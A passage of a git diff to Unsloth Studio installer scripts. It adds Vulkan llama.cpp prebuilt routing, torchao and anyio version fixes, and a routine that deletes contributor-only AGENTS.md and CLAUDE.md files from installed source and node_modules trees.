+                    repo = UPSTREAM_REPO,
+                    tag = llama_tag,
+                    name = vulkan_name,
+                    url = upstream_assets[vulkan_name],
+                    source_label = "upstream",
+                    install_kind = "linux-vulkan",
+                )
+            log("Intel GPU detected but no Vulkan prebuilt found -- falling back to CPU")
+
         upstream_name = f"llama-{llama_tag}-bin-ubuntu-x64.tar.gz"
         if upstream_name not in upstream_assets:
             raise PrebuiltFallback("upstream Linux CPU asset was not found")
@@ -3923,6 +4071,24 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
                 )
             log("AMD ROCm detected on Windows but no HIP prebuilt found -- falling back to CPU")
 
+        # Intel (or other non-NVIDIA/non-AMD) GPU on Windows: use Vulkan. No
+        # physical NVIDIA so a CUDA-hidden card isn't reached through Vulkan.
+        if host.has_intel_gpu and not host.has_physical_nvidia and not host.has_rocm:
+            vulkan_name = f"llama-{llama_tag}-bin-win-vulkan-x64.zip"
+            if vulkan_name in upstream_assets:
+                log(
+                    f"Intel GPU detected on Windows -- using upstream Vulkan prebuilt {vulkan_name}"
+                )
+                return AssetChoice(
+                    repo = UPSTREAM_REPO,
+                    tag = llama_tag,
+                    name = vulkan_name,
+                    url = upstream_assets[vulkan_name],
+                    source_label = "upstream",
+                    install_kind = "windows-vulkan",
+                )
+            log("Intel GPU detected on Windows but no Vulkan prebuilt found -- falling back to CPU")
+
         upstream_name = f"llama-{llama_tag}-bin-win-cpu-x64.zip"
         if upstream_name not in upstream_assets:
             raise PrebuiltFallback("upstream Windows CPU asset was not found")
@@ -4015,6 +4181,9 @@ def resolve_release_asset_choice(
             published_choice = published_rocm_choice_for_host(release, host, "windows-rocm")
         else:
             published_choice = published_asset_choice_for_kind(release, "windows-cpu")
+    elif host.is_windows and host.is_arm64:
+        # Windows arm64 has no GPU prebuilt, so it always takes the CPU bundle.
+        published_choice = published_asset_choice_for_kind(release, "windows-arm64")
     elif host.is_macos and host.is_arm64:
         published_choice = published_asset_choice_for_kind(release, "macos-arm64")
     elif host.is_macos and host.is_x86_64:
@@ -4364,6 +4533,48 @@ def copy_directory_contents(source_dir: Path, destination: Path) -> None:
             shutil.copy2(item, target)
 
 
+def _is_link_or_junction(path: Path) -> bool:
+    """Return whether ``path`` redirects to another filesystem location."""
+    if os.name == "nt":
+        try:
+            attributes = getattr(path.lstat(), "st_file_attributes", 0)
+        except OSError:
+            return True
+        return bool(attributes & stat.FILE_ATTRIBUTE_REPARSE_POINT)
+    try:
+        return path.is_symlink()
+    except OSError:
+        return True
+
+
+def remove_agent_instruction_files(root: Path) -> int:
+    """Best-effort removal inside a managed tree without following links."""
+    if _is_link_or_junction(root) or not root.is_dir():
+        return 0
+
+    removed = 0
+    for current_dir, dirnames, filenames in os.walk(root, topdown = True, followlinks = False):
+        current_path = Path(current_dir)
+        # followlinks=False still follows Windows junctions.
+        if current_path != root and _is_link_or_junction(current_path):
+            dirnames.clear()
+            continue
+        dirnames[:] = [
+            dirname for dirname in dirnames if not _is_link_or_junction(current_path / dirname)
+        ]
+        for filename in sorted({"AGENTS.md", "CLAUDE.md"}.intersection(filenames)):
+            candidate = current_path / filename
+            try:
+                candidate.unlink()
+            except FileNotFoundError:
+                continue
+            except OSError as exc:
+                log(f"could not remove contributor-only instruction {candidate}: {exc}")
+            else:
+                removed += 1
+    return removed
+
+
 def hydrate_source_tree(
     source_ref: str,
     install_dir: Path,
@@ -4426,6 +4637,9 @@ def hydrate_source_tree(
                 "upstream source archive was missing required repo files: " + ", ".join(missing)
             )
         copy_directory_contents(source_root, install_dir)
+        removed = remove_agent_instruction_files(install_dir)
+        if removed:
+            log(f"removed {removed} contributor-only agent instruction file(s) from staged source")
     except PrebuiltFallback:
         raise
     except Exception as exc:
@@ -4515,6 +4729,7 @@ def runtime_patterns_for_choice(choice: AssetChoice) -> list[str]:
         "linux-arm64-cuda",
         "linux-rocm",
         "linux-arm64",
+        "linux-vulkan",
     }:
         return ["llama-server", "llama-quantize", "llama-diffusion-gemma-visual-server", "lib*.so*"]
     if choice.install_kind in {"macos-arm64", "macos-x64"}:
@@ -4528,6 +4743,7 @@ def runtime_patterns_for_choice(choice: AssetChoice) -> list[str]:
         "windows-cpu",
         "windows-cuda",
         "windows-hip",
+        "windows-vulkan",
         "windows-rocm",
         "windows-arm64",
     }:
@@ -5743,8 +5959,10 @@ def validate_server(
             "linux-cuda",
             "linux-arm64-cuda",
             "linux-rocm",
+            "linux-vulkan",
             "windows-cuda",
             "windows-hip",
+            "windows-vulkan",
             "windows-rocm",
             "macos-arm64",
         }
@@ -6127,8 +6345,13 @@ def _linux_published_attempts(host: HostInfo, bundle: PublishedReleaseBundle) ->
         # CPU-only host. A usable-NVIDIA host never reaches here -- if its CUDA
         # selection produced nothing we want an empty attempt list so the caller
         # source-builds with CUDA, not a CPU-only binary silently installed on a
-        # GPU host (mirrors the ROCm branch, and Windows NVIDIA).
-        cpu_choice = published_asset_choice_for_kind(bundle, "linux-cpu")
+        # GPU host (mirrors the ROCm branch, and Windows NVIDIA). Only x86_64 and
+        # arm64 have a CPU bundle; any other Linux arch (ppc64le, riscv64, s390x)
+        # has none, so leave attempts empty and source-build rather than hand it
+        # the x86_64 linux-cpu binary (the Linux preflight checks libraries, not
+        # ELF arch, so a wrong-arch binary would not be caught).
+        kind = "linux-cpu" if host.is_x86_64 else "linux-arm64" if host.is_arm64 else None
+        cpu_choice = published_asset_choice_for_kind(bundle, kind) if kind else None
         if cpu_choice is not None:
             attempts.append(cpu_choice)
     return attempts
@@ -6143,9 +6366,9 @@ def _fork_manifest_release_plans(
     max_release_fallbacks: int = DEFAULT_MAX_PREBUILT_RELEASE_FALLBACKS,
 ) -> tuple[str, list[InstallReleasePlan]]:
     """Manifest-reading branch of resolve_simple_install_release_plans, used for
-    the fork's bundles whose GPU/arch coverage lives in
-    llama-prebuilt-manifest.json rather than in the filename: arm64 CUDA, Windows
-    CUDA, per-gfx ROCm, and macOS. Linux x64 takes the faster filename path."""
+    every fork host: all of the fork's bundles describe their GPU/arch coverage
+    in llama-prebuilt-manifest.json rather than in the asset filename (CPU,
+    x64/arm64 CUDA, Windows CUDA, per-gfx ROCm, and macOS)."""
     requested_tag = normalized_requested_llama_tag(llama_tag)
     allow_older_release_fallback = requested_tag == "latest" and not published_release_tag
     release_limit = max(1, max_release_fallbacks)
@@ -6160,6 +6383,9 @@ def _fork_manifest_release_plans(
         llama_tag,
         published_repo,
         published_release_tag,
+        # macOS relies on the multi-release walk-back to skip too-new prebuilts,
+        # which the single-latest download-host path cannot provide.
+        allow_download_host_fast_path = not host.is_macos,
     ):
         bundle = resolved_release.bundle
         checksums = resolved_release.checksums
@@ -6361,6 +6587,20 @@ def runtime_payload_health_groups(choice: AssetChoice) -> list[list[str]]:
             ["libmtmd.so*"],
             ["libggml-hip.so*"],
         ]
+    if choice.install_kind == "linux-vulkan":
+        return [
+            ["libllama-common.so*"],
+            ["libllama.so*"],
+            ["libggml.so*"],
+            ["libggml-base.so*"],
+            # Match the sibling globs (linux-cuda/-rocm): x64 bundles ship
+            # arch-suffixed libggml-cpu-<variant>.so, arm64 may ship a bare
+            # libggml-cpu.so; the '-' form missed the latter and re-flagged
+            # the install unhealthy on every check.
+            ["libggml-cpu*.so*"],
+            ["libmtmd.so*"],
+            ["libggml-vulkan.so*"],
+        ]
     if choice.install_kind in {"windows-cpu", "windows-arm64"}:
         return [["llama.dll"]]
     if choice.install_kind == "windows-cuda":
@@ -6380,6 +6620,8 @@ def runtime_payload_health_groups(choice: AssetChoice) -> list[list[str]]:
         return groups
     if choice.install_kind in {"windows-hip", "windows-rocm"}:
         return [["llama.dll"], ["*hip*.dll"]]
+    if choice.install_kind == "windows-vulkan":
+        return [["llama.dll"], ["ggml-vulkan.dll"]]
     return []
 
 
@@ -6661,6 +6903,89 @@ def validate_prebuilt_attempts(
     raise PrebuiltFallback("no prebuilt bundle passed validation")
 
 
+def force_vulkan_requested() -> bool:
+    """Whether UNSLOTH_FORCE_VULKAN opts this host into the Vulkan llama.cpp
+    prebuilt instead of its detected CUDA/ROCm backend (e.g. so an AMD user can
+    run the Vulkan build for inference). Scoped to the llama.cpp backend; the
+    torch/training stack installs separately and still sees the real GPU.
+    """
+    return os.environ.get("UNSLOTH_FORCE_VULKAN", "").strip().lower() in (
+        "1",
+        "true",
+        "yes",
+    )
+
+
+def _vulkan_only_host(host: HostInfo) -> HostInfo:
+    """Rewrite ``host`` so the asset selectors take their Vulkan branch.
+
+    That branch fires on ``has_intel_gpu and not nvidia and not rocm``, so clear
+    the CUDA/ROCm flags and raise the integrated-GPU flag. The synthetic flag
+    never leaves install planning -- it only routes the llama.cpp prebuilt
+    choice, not the torch/training stack.
+    """
+    return dataclasses_replace(
+        host,
+        has_usable_nvidia = False,
+        has_physical_nvidia = False,
+        has_rocm = False,
+        has_intel_gpu = True,
+    )
+
+
+def _route_to_vulkan_prebuilt(
+    host: HostInfo, published_repo: str, published_release_tag: str, *, force_cpu: bool
+) -> tuple[HostInfo, str, str]:
+    """Point a Vulkan-capable host at the upstream ggml-org Vulkan prebuilt.
+
+    The unsloth published repo ships only CUDA/ROCm/CPU assets, so Vulkan comes
+    from UPSTREAM_REPO. Two triggers route here, both suppressed under
+    --cpu-fallback (the explicit "give me CPU" last resort wins):
+      * UNSLOTH_FORCE_VULKAN forces Vulkan over the detected CUDA/ROCm backend;
+      * an auto-detected Intel GPU with NO physical NVIDIA/ROCm -- the purpose
+        of the has_intel_gpu probe, since the fork manifest ships no Vulkan asset.
+    Applied by BOTH the install path and the --resolve-prebuilt probe so the
+    "is a prebuilt available" answer matches what actually gets installed.
+
+    Returns the (possibly rewritten) host, repo, and release tag.
+    """
+    forced = force_vulkan_requested()
+    # Gate auto-routing on no PHYSICAL NVIDIA, not merely no usable one: a mixed
+    # NVIDIA+Intel host that hides NVIDIA with CUDA_VISIBLE_DEVICES=""/-1 keeps
+    # has_physical_nvidia=True while has_usable_nvidia goes False. Vulkan ignores
+    # CUDA_VISIBLE_DEVICES, so auto-routing such a host would let it grab the
+    # reserved NVIDIA GPU. An explicit UNSLOTH_FORCE_VULKAN still overrides.
+    auto_intel = host.has_intel_gpu and not host.has_physical_nvidia and not host.has_rocm
+    if force_cpu or not (forced or auto_intel):
+        return host, published_repo, published_release_tag
+    if host.is_macos:
+        if forced:
+            log(
+                "UNSLOTH_FORCE_VULKAN is set but ignored on macOS "
+                "(Metal is used; there is no Vulkan prebuilt)"
+            )
+        return host, published_repo, published_release_tag
+    if forced:
+        log(
+            "UNSLOTH_FORCE_VULKAN is set; installing the upstream Vulkan "
+            "llama.cpp prebuilt instead of the detected GPU backend"
+        )
+        # Forcing may override a detected NVIDIA/ROCm host, so normalize it to
+        # Vulkan-only; an auto-detected Intel host already is.
+        host = _vulkan_only_host(host)
+    else:
+        log("Intel GPU detected; installing the upstream Vulkan llama.cpp prebuilt")
+    # Swapping the fork for upstream invalidates a fork release pin: the two use
+    # different tag namespaces (fork b9596-mix-<sha> vs upstream b9596), so a
+    # pinned fork tag would make the upstream resolver query a nonexistent
+    # release and fall back to source. Drop it and let the upstream resolver
+    # pick by the requested llama tag. A pin already on an explicit upstream repo
+    # (repo unchanged here) is preserved.
+    if published_repo != UPSTREAM_REPO:
+        published_release_tag = ""
+    return host, UPSTREAM_REPO, published_release_tag
+
+
 def diffusion_visual_server_backfill_needed(
     install_dir: Path, host: HostInfo, choice: AssetChoice
 ) -> bool:
@@ -6695,6 +7020,7 @@ def install_prebuilt(
     override_has_rocm: bool = False,
     override_rocm_gfx: str | None = None,
     force_cpu: bool = False,
+    instruction_cleanup_root: Path | None = None,
 ) -> None:
     host = detect_host()
     host = _apply_host_overrides(
@@ -6703,9 +7029,19 @@ def install_prebuilt(
         override_rocm_gfx = override_rocm_gfx,
         force_cpu = force_cpu,
     )
+    host, published_repo, published_release_tag = _route_to_vulkan_prebuilt(
+        host, published_repo, published_release_tag, force_cpu = force_cpu
+    )
     choice: AssetChoice | None = None
+    cleanup_root = install_dir if instruction_cleanup_root is None else instruction_cleanup_root
     try:
         with install_lock(install_lock_path(install_dir)):
+            if (install_dir / "UNSLOTH_PREBUILT_INFO.json").is_file():
+                removed = remove_agent_instruction_files(cleanup_root)
+                if removed:
+                    log(
+                        f"removed {removed} contributor-only agent instruction file(s) from install"
+                    )
             if install_dir.exists():
                 log(
                     f"existing llama.cpp install detected at {install_dir}; validating staged prebuilt update before replacement"
@@ -6714,8 +7050,10 @@ def install_prebuilt(
                 log(
                     f"no existing llama.cpp install detected at {install_dir}; performing fresh prebuilt install"
                 )
-            # Single resolver: linux-x64 takes the fast filename path internally,
-            # every other fork host reads the manifest.
+            # Single resolver: every fork host selects from the release manifest;
+            # an explicit ggml-org override selects by asset filename instead. A
+            # forced-Vulkan host already has published_repo pointed at
+            # UPSTREAM_REPO above, so the resolver takes the Vulkan asset branch.
             requested_tag, release_plans = resolve_simple_install_release_plans(
                 llama_tag,
                 host,
@@ -6903,8 +7241,8 @@ def parse_args() -> argparse.Namespace:
         const = "latest",
         help = (
             "Report whether an official prebuilt exists for this host without "
-            "downloading. Picks the host's published repo when --published-repo "
-            "is left at the default. Use --output-format json."
+            "downloading. Plans against --published-repo (defaults to the "
+            "fork). Use --output-format json."
         ),
     )
     parser.add_argument(
@@ -6992,27 +7330,23 @@ def main() -> int:
         return EXIT_SUCCESS
 
     if args.resolve_prebuilt is not None:
-        # Host-aware "is a prebuilt available" probe, no download. A default repo
-        # means "pick the repo for this host"; PrebuiltFallback == source build.
+        # Host-aware "is a prebuilt available" probe, no download. Every host now
+        # plans against the fork (args.published_repo defaults to it); an explicit
+        # --published-repo overrides. PrebuiltFallback == source build.
         host = _apply_host_overrides(
             detect_host(),
             override_has_rocm = args.has_rocm,
             override_rocm_gfx = args.rocm_gfx,
             force_cpu = args.cpu_fallback,
         )
-        # setup.sh routes Linux hosts with AMD tooling to the fork even when no GPU
-        # is probed; mirror that so a HIP source build is not offered a CPU prebuilt.
-        amd_tooling = host.is_linux and any(
-            shutil.which(t) for t in ("rocminfo", "amd-smi", "hipconfig", "hipinfo")
-        )
-        repo = (
-            published_repo_for_host(host, linux_amd_tooling_present = amd_tooling)
-            if args.published_repo == DEFAULT_PUBLISHED_REPO
-            else args.published_repo
+        # Same Vulkan routing the install path applies, so the probe's answer
+        # matches what would install (an Intel/forced-Vulkan host -> upstream).
+        host, repo, release_tag = _route_to_vulkan_prebuilt(
+            host, args.published_repo, args.published_release_tag or "", force_cpu = args.cpu_fallback
         )
         try:
             _requested, plans = resolve_simple_install_release_plans(
-                args.resolve_prebuilt, host, repo, args.published_release_tag or ""
+                args.resolve_prebuilt, host, repo, release_tag
             )
             choice = plans[0].attempts[0] if plans and plans[0].attempts else None
             if choice is None:
@@ -7038,14 +7372,16 @@ def main() -> int:
     # Install path only: route status logs to stdout (see _LOG_TO_STDOUT note).
     global _LOG_TO_STDOUT
     _LOG_TO_STDOUT = True
+    install_arg = Path(args.install_dir).expanduser()
     install_prebuilt(
-        install_dir = Path(args.install_dir).expanduser().resolve(),
+        install_dir = install_arg.resolve(),
         llama_tag = args.llama_tag,
         published_repo = args.published_repo,
         published_release_tag = args.published_release_tag or "",
         override_has_rocm = args.has_rocm,
         override_rocm_gfx = args.rocm_gfx,
         force_cpu = args.cpu_fallback,
+        instruction_cleanup_root = install_arg.absolute(),
     )
     return EXIT_SUCCESS
 
diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py
index 9060b57542..19c492deaa 100644
--- a/studio/install_python_stack.py
+++ b/studio/install_python_stack.py
@@ -103,33 +103,47 @@ _PYTORCH_WHL_BASE = (
     os.environ.get("UNSLOTH_PYTORCH_MIRROR") or "https://download.pytorch.org/whl"
 ).rstrip("/")
 
-# CUDA torch repair specs (see _ensure_cuda_torch). torchvision/torchaudio are
-# pinned to the torch<2.11 family rather than left bare: the install uses an
-# exclusive --index-url (no PyPI fallback), so a bare name could resolve a
-# torchvision built against a different torch major (e.g. 0.27 for torch 2.12)
-# and fail at runtime with an ABI mismatch. Same bounds as the _default ROCm
-# spec above, which targets the same torch family.
+# CUDA torch repair specs (see _ensure_cuda_torch). torch 2.11 is allowed: its
+# torchao 0.17 cpp kernels load cleanly (0.16 crashes on cu130), and the flash-attn
+# / causal-conv1d / mamba torch2.10 wheels load and pass their upstream suites on
+# 2.11 (see wheel_utils._PREBUILT_WHEEL_TORCH_MM). torchvision/torchaudio are pinned
+# (not bare) because the install uses an exclusive --index-url (no PyPI fallback), so
+# a bare name could resolve one built against a different torch major (e.g. 0.27 for
+# torch 2.12) and fail at runtime with an ABI mismatch.
 _CUDA_TORCH_PKG_SPEC: tuple[str, str, str] = (
-    "torch>=2.4,<2.11.0",
-    "torchvision>=0.19,<0.26.0",
-    "torchaudio>=2.4,<2.11.0",
+    "torch>=2.4,<2.12.0",
+    "torchvision>=0.19,<0.27.0",
+    "torchaudio>=2.4,<2.12.0",
 )
 
-# torchao's C++ extensions are built against ONE exact torch release; a newer
-# torch makes torchao skip its cpp kernels ("Skipping import of cpp extensions
-# due to incompatible torch version ...") and fall back to slow Python. Because
-# the torch pin above is a range (and every CUDA index now tops out at torch
-# 2.10), the torch actually installed drifts ahead of a fixed torchao pin. So
-# pick the torchao whose build matches the torch in the venv. Table: pytorch/ao#2919.
-#   torch 2.9.x  -> torchao 0.14.0 (today's pin; built for torch 2.9.0)
-#   torch 2.10.x -> torchao 0.16.0 (built for torch 2.10.0)
-#   torch 2.11.x -> torchao 0.17.0 (built for torch 2.11.0; reachable via ROCm rocm7.2)
-# Unknown/older torch keeps the conservative default (no regression vs today).
+# torchao's cpp extensions are pinned to ONE torch release AND CUDA major. A torch
+# mismatch just skips the cpp kernels (slow Python fallback); a CUDA mismatch fails
+# to import ("libcudart.so.12: cannot open shared object file"). The torch pin is a
+# range, so match torchao to the installed torch (table: pytorch/ao#2919):
+#   2.9.x            -> 0.14.0
+#   2.10.x, CUDA<=12 -> 0.16.0 (cpp built for 2.10, loads via the CUDA-12 wheel)
+#   2.10.x, CUDA>=13 -> 0.17.0 (cu130: 0.16.0's CUDA-12 cpp crashes on load; 0.17.0
+#                       targets torch 2.11 so its cpp is cleanly skipped, not crashed)
+#   2.11.x           -> 0.17.0 (reachable via CUDA or ROCm rocm7.2)
+# Unknown/older torch keeps the conservative default.
 _TORCHAO_DEFAULT_SPEC = "torchao==0.14.0"
-_TORCHAO_BY_TORCH_MINOR: dict[int, str] = {
-    10: "torchao==0.16.0",
-    11: "torchao==0.17.0",
-}
+_TORCHAO_TORCH_210_SPEC = "torchao==0.16.0"
+_TORCHAO_TORCH_210_CUDA13_SPEC = "torchao==0.17.0"
+_TORCHAO_TORCH_211_PLUS_SPEC = "torchao==0.17.0"
+# torch 2.10 built against CUDA >= this major can't load 0.16.0's CUDA-12 cpp.
+_TORCHAO_CUDA13_MIN_MAJOR = 13
+
+
+def _cuda_major_from_torch_version(torch_version: str) -> int | None:
+    """Extract the CUDA major from a torch local version tag, e.g. '2.10.0+cu130'
+    -> 13, '2.10.0+cu128' -> 12. Returns None for rocm/cpu/tagless builds."""
+    local = str(torch_version).split("+", 1)
+    if len(local) < 2 or not local[1].startswith("cu"):
+        return None
+    digits = re.sub(r"[^0-9].*", "", local[1][2:])  # 'cu130' -> '130'
+    if not digits:
+        return None
+    return int(digits) // 10  # '130' -> 13, '128' -> 12, '118' -> 11
 
 
 def _select_torchao_spec(torch_version: str | None) -> str:
@@ -151,8 +165,14 @@ def _select_torchao_spec(torch_version: str | None) -> str:
     if major != 2:
         return _TORCHAO_DEFAULT_SPEC
     if minor >= 11:
-        return _TORCHAO_BY_TORCH_MINOR[11]  # newest known build; covers 2.11+
-    return _TORCHAO_BY_TORCH_MINOR.get(minor, _TORCHAO_DEFAULT_SPEC)
+        return _TORCHAO_TORCH_211_PLUS_SPEC  # newest known build; covers 2.11+
+    if minor == 10:
+        # cu130+ can't load 0.16.0's CUDA-12 cpp; use 0.17.0 (cpp skipped, not crashed).
+        cuda_major = _cuda_major_from_torch_version(str(torch_version))
+        if cuda_major is not None and cuda_major >= _TORCHAO_CUDA13_MIN_MAJOR:
+            return _TORCHAO_TORCH_210_CUDA13_SPEC
+        return _TORCHAO_TORCH_210_SPEC
+    return _TORCHAO_DEFAULT_SPEC
 
 
 def _probe_installed_torch_version() -> str | None:
@@ -181,6 +201,75 @@ def _probe_installed_torch_version() -> str | None:
     return lines[-1] if lines else None
 
 
+def _installed_torch_is_windows_rocm() -> bool:
+    """Return True when the target venv currently has a Windows ROCm torch build.
+
+    This is a belt-and-suspenders guard for the torchao override step: if the
+    earlier ROCm install path failed to set _rocm_windows_torch_installed but the
+    venv already contains a ROCm torch wheel, still skip torchao because it
+    crashes on import on Windows ROCm.
+    """
+    if not IS_WINDOWS:
+        return False
+    try:
+        probe = subprocess.run(
+            [
+                sys.executable,
+                "-c",
+                (
+                    "import sys, torch; "
+                    "hip = getattr(getattr(torch, 'version', None), 'hip', None) or ''; "
+                    "ver = getattr(torch, '__version__', '').lower(); "
+                    "sys.stdout.write('yes' if (hip or 'rocm' in ver or 'rocmsdk' in ver) else '')"
+                ),
+            ],
+            stdout = subprocess.PIPE,
+            stderr = subprocess.DEVNULL,
+            text = True,
+            timeout = 90,
+            **_windows_hidden_subprocess_kwargs(),
+        )
+    except (OSError, subprocess.TimeoutExpired):
+        return False
+    lines = [line.strip() for line in (probe.stdout or "").splitlines() if line.strip()]
+    return probe.returncode == 0 and bool(lines and lines[-1] == "yes")
+
+
+# constraints.txt caps new anyio resolutions at <4.14 (#6483), but an install
+# from before the cap existed can already be stuck at 4.14+, which later
+# constrained installs won't touch since it already satisfies mcp/fastmcp.
+_ANYIO_BAD_FLOOR = (4, 14)
+
+
+def _installed_anyio_version() -> tuple[int, int] | None:
+    try:
+        from importlib.metadata import version as _pkg_version
+        raw = _pkg_version("anyio")
+    except Exception:
+        return None
+    parts = raw.split(".")
+    try:
+        major = int(parts[0])
+        minor = int(re.sub(r"[^0-9].*", "", parts[1])) if len(parts) > 1 else 0
+    except (IndexError, ValueError):
+        return None
+    return (major, minor)
+
+
+def _repair_bad_anyio() -> None:
+    installed = _installed_anyio_version()
+    if installed is None or installed < _ANYIO_BAD_FLOOR:
+        return
+    _safe_print(_dim(f"   anyio {installed[0]}.{installed[1]} found -- reinstalling anyio<4.14..."))
+    pip_install(
+        "Repairing anyio version",
+        "--no-cache-dir",
+        "--force-reinstall",
+        "anyio<4.14.0",
+        constrain = False,
+    )
+
+
 # AMD Windows ROCm wheels (repo.amd.com/rocm/whl/{arch_family}/).
 # Override with UNSLOTH_ROCM_WINDOWS_MIRROR for air-gapped/mirror installs.
 _ROCM_WINDOWS_INDEX_BASE = (
@@ -1463,6 +1552,10 @@ LOCAL_DD_UNSTRUCTURED_PLUGIN = (
 )
 LOCAL_DD_GITHUB_PLUGIN = SCRIPT_DIR / "backend" / "plugins" / "data-designer-github-repo-seed"
 
+# mlx-lm 0.31.3 broke gemma4 / qwen3_5 loading (strict load_weights rejects the
+# QK-norm q_norm/k_norm tensors); exclude just that release. See mlx-lm #1242.
+MLX_LM_BAD_VERSION_EXCLUSION = "!=0.31.3"
+
 # Apple Silicon: override mlx-vlm/mlx-lm's transformers pin (see overrides).
 # _uv_safe_path: uv truncates UV_OVERRIDE at the first space too (issue #6503).
 _MLX_OVERRIDES = SINGLE_ENV / "overrides-darwin-arm64.txt"
@@ -1970,7 +2063,7 @@ def install_python_stack() -> int:
     package_name = os.environ.get("STUDIO_PACKAGE_NAME", "unsloth")
     # --local overlays a local repo checkout after updating deps.
     local_repo = os.environ.get("STUDIO_LOCAL_REPO", "")
-    base_total = 10 if IS_WINDOWS else 11
+    base_total = 11 if IS_WINDOWS else 12  # +1 for the anyio repair check (step 8b)
     if IS_MACOS:
         base_total -= 1  # triton step is skipped on macOS
     if not IS_MACOS and not NO_TORCH:
@@ -2023,6 +2116,8 @@ def install_python_stack() -> int:
 
     # macOS arm64: install MLX stack at latest (UV_OVERRIDE relaxes the
     # mlx-vlm / mlx-lm transformers pin -- set at module load).
+    # Exclude mlx-lm 0.31.3 (see MLX_LM_BAD_VERSION_EXCLUSION); it broke
+    # gemma4 / qwen3_5 QK-norm loading. mlx-lm #1242.
     if IS_MAC_ARM and not skip_base:
         _progress("MLX stack (Apple Silicon)")
         pip_install(
@@ -2031,7 +2126,7 @@ def install_python_stack() -> int:
             "--upgrade",
             "mlx",
             "mlx-metal",
-            "mlx-lm",
+            f"mlx-lm{MLX_LM_BAD_VERSION_EXCLUSION}",
             "mlx-vlm",
         )
 
@@ -2221,7 +2316,7 @@ def install_python_stack() -> int:
     #    (no working build; see below).
     if NO_TORCH:
         _progress("dependency overrides (skipped, no torch)")
-    elif _rocm_windows_torch_installed:
+    elif _rocm_windows_torch_installed or _installed_torch_is_windows_rocm():
         # No working Windows ROCm torchao build: it imports an absent c10d backend
         # and crashes transformers.quantizers. Studio stubs it at runtime, so
         # installing it only ships a package that crashes on import -- skip it.
@@ -2284,6 +2379,10 @@ def install_python_stack() -> int:
         req = REQ_ROOT / "studio.txt",
     )
 
+    # 8b. anyio repair (#6483)
+    _progress("anyio check")
+    _repair_bad_anyio()
+
     # 9. Data-designer dependencies
     _progress("data designer deps")
     pip_install(
diff --git a/studio/setup.ps1 b/studio/setup.ps1
index 38398eb5f5..dab1e1e73f 100644
--- a/studio/setup.ps1
+++ b/studio/setup.ps1
@@ -203,6 +203,31 @@ function New-UnslothTemporaryFile {
     return Get-Item -LiteralPath $tempPath
 }
 
+function Remove-AgentInstructionFiles {
+    param([string[]]$Roots)
+
+    foreach ($root in $Roots) {
+        if (-not $root) { continue }
+        $item = Get-Item -LiteralPath $root -Force -ErrorAction SilentlyContinue
+        if (-not $item -or -not $item.PSIsContainer) { continue }
+        if ($item.Attributes -band [System.IO.FileAttributes]::ReparsePoint) { continue }
+        $pending = New-Object System.Collections.Stack
+        $pending.Push($item)
+        while ($pending.Count -gt 0) {
+            $current = $pending.Pop()
+            foreach ($child in @(Get-ChildItem -LiteralPath $current.FullName -Force -ErrorAction SilentlyContinue)) {
+                if ($child.PSIsContainer) {
+                    if (-not ($child.Attributes -band [System.IO.FileAttributes]::ReparsePoint)) {
+                        $pending.Push($child)
+                    }
+                } elseif ($child.Name -in @("AGENTS.md", "CLAUDE.md")) {
+                    Remove-Item -LiteralPath $child.FullName -Force -ErrorAction SilentlyContinue
+                }
+            }
+        }
+    }
+}
+
 function Get-InstalledLlamaPrebuiltRelease {
     param([string]$InstallDir)
 
@@ -2314,6 +2339,11 @@ if ((Test-Path $OxcValidatorDir) -and $NodeSource -ne "skip" -and (Get-Command n
     substep "OXC validator runtime skipped (no npm found); code validation degrades until Node is available" "Yellow"
 }
 
+Remove-AgentInstructionFiles -Roots @(
+    (Join-Path $FrontendDir "node_modules"),
+    (Join-Path $OxcValidatorDir "node_modules")
+)
+
 # ==========================================================================
 #  PHASE 3: Python environment + dependencies
 # ==========================================================================
@@ -2621,7 +2651,18 @@ function Fast-Install {
     param([Parameter(ValueFromRemainingArguments=$true)]$Args_)
     if ($UseUv) {
         $VenvPy = (Get-Command python).Source
-        $result = & uv pip install --python $VenvPy @Args_ 2>&1
+        # An explicit --index-url must win. Inherited uv index env vars otherwise
+        # override it and pull CPU torch over the CUDA/ROCm build (#6898), so drop
+        # them only for index-pinned installs; mirrors still apply elsewhere.
+        $saved = @{}
+        if (@($Args_) -contains '--index-url') {
+            foreach ($n in 'UV_DEFAULT_INDEX', 'UV_INDEX_URL', 'UV_INDEX', 'UV_EXTRA_INDEX_URL') {
+                $saved[$n] = [Environment]::GetEnvironmentVariable($n)
+                Remove-Item "Env:$n" -ErrorAction SilentlyContinue
+            }
+        }
+        try { $result = & uv pip install --python $VenvPy @Args_ 2>&1 }
+        finally { foreach ($n in $saved.Keys) { if ($null -ne $saved[$n]) { Set-Item "Env:$n" $saved[$n] } } }
         if ($LASTEXITCODE -eq 0) { return }
     }
     & python -m pip install @Args_ 2>&1
@@ -2645,6 +2686,28 @@ if ($env:SKIP_STUDIO_BASE -ne "1" -and $env:STUDIO_LOCAL_INSTALL -ne "1") {
     if ($InstalledVer -and $LatestVer -and ($InstalledVer -eq $LatestVer)) {
         step "python" "$_PkgName $InstalledVer is up to date"
         $SkipPythonDeps = $true
+        # A pre-#6483-fix install can be stuck on anyio>=4.14 even though
+        # $_PkgName itself is current; the fast path above would otherwise
+        # never reach install_python_stack's anyio repair (#6797).
+        $_anyioBad = $false
+        try {
+            & python -c "
+import re, sys
+from importlib.metadata import version, PackageNotFoundError
+try:
+    parts = version('anyio').split('.')
+    major = int(parts[0])
+    minor = int(re.sub(r'[^0-9].*', '', parts[1])) if len(parts) > 1 else 0
+except (PackageNotFoundError, ValueError, IndexError):
+    sys.exit(1)
+sys.exit(0 if (major, minor) >= (4, 14) else 1)
+" 2>$null
+            if ($LASTEXITCODE -eq 0) { $_anyioBad = $true }
+        } catch {}
+        if ($_anyioBad) {
+            substep "anyio >=4.14 found (#6483) -- forcing dependency pass to repair..." "Cyan"
+            $SkipPythonDeps = $false
+        }
         # ...but not if an AMD GPU is present and installed PyTorch is CPU-only
         # (host predates ROCm-wheel support, or GPU added later): the fast "up to
         # date" path would leave the user on CPU torch with Train/Export disabled.
@@ -3066,12 +3129,11 @@ $LlamaCppDir = Join-Path $UnslothHome "llama.cpp"
 $NeedLlamaSourceBuild = $false
 $SkipPrebuiltInstall = $false
 $RequestedLlamaTag = if ($env:UNSLOTH_LLAMA_TAG) { $env:UNSLOTH_LLAMA_TAG } else { $DefaultLlamaTag }
-# GPU Windows (CUDA / ROCm) installs the fork's app-* prebuilts; CPU-only stays
